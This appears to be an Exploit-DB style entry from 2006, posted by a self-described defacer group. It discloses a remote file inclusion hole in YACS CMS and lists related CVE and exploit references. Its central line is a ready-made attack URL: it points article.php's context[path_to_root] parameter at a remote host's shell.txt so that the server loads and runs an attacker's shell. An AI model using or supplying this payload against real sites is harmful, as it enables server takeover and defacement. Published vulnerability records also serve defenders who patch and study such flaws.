##################################### matasanos ################################### # YACS CMS (last version and maybe all) File Inclusion Vulnerability # # affected software: YACS (Yet Another Community System) # vendor: yacs . you can donwload it from http://www.yetanothercommunitysystem.com # level: Highly Critical (muy critico) # # #################################################################################### # # # http://[target]/[patch]/yacs/articles/article.php?context[path_to_root]=http://url--ataca.org/shell.txt? # # # #################################################################################### # # found by MATASANOS # LATIN AMERICAN DEFACERS # # # recuerdos a antrax,freak,piker,vampi,pennismen,destroy,groxo,vannovax,cvir,mathew # milw0rm.com [2006-08-31]
Related Exploits
Trying to match CVEs (2): CVE-2006-4532, CVE-2006-4559Trying to match OSVDBs (12): 28301, 31301, 31302, 31303, 31304, 31305, 31306, 31307, 31308, 31309, 31310, 52041
Other Possible E-DB Search Terms: YACS CMS 6.6.1, YACS CMS
| Date | D | V | Title | Author |
|---|---|---|---|---|
| 2010-07-18 |  |
|
YACS CMS 10.5.27 - 'context[path_to_root]' Parameter Remote File Inclusion | eidelweiss |
| 2009-02-16 | |
|
YACS CMS 8.11 - 'update_trailer.php' Remote File Inclusion | ahmadbady |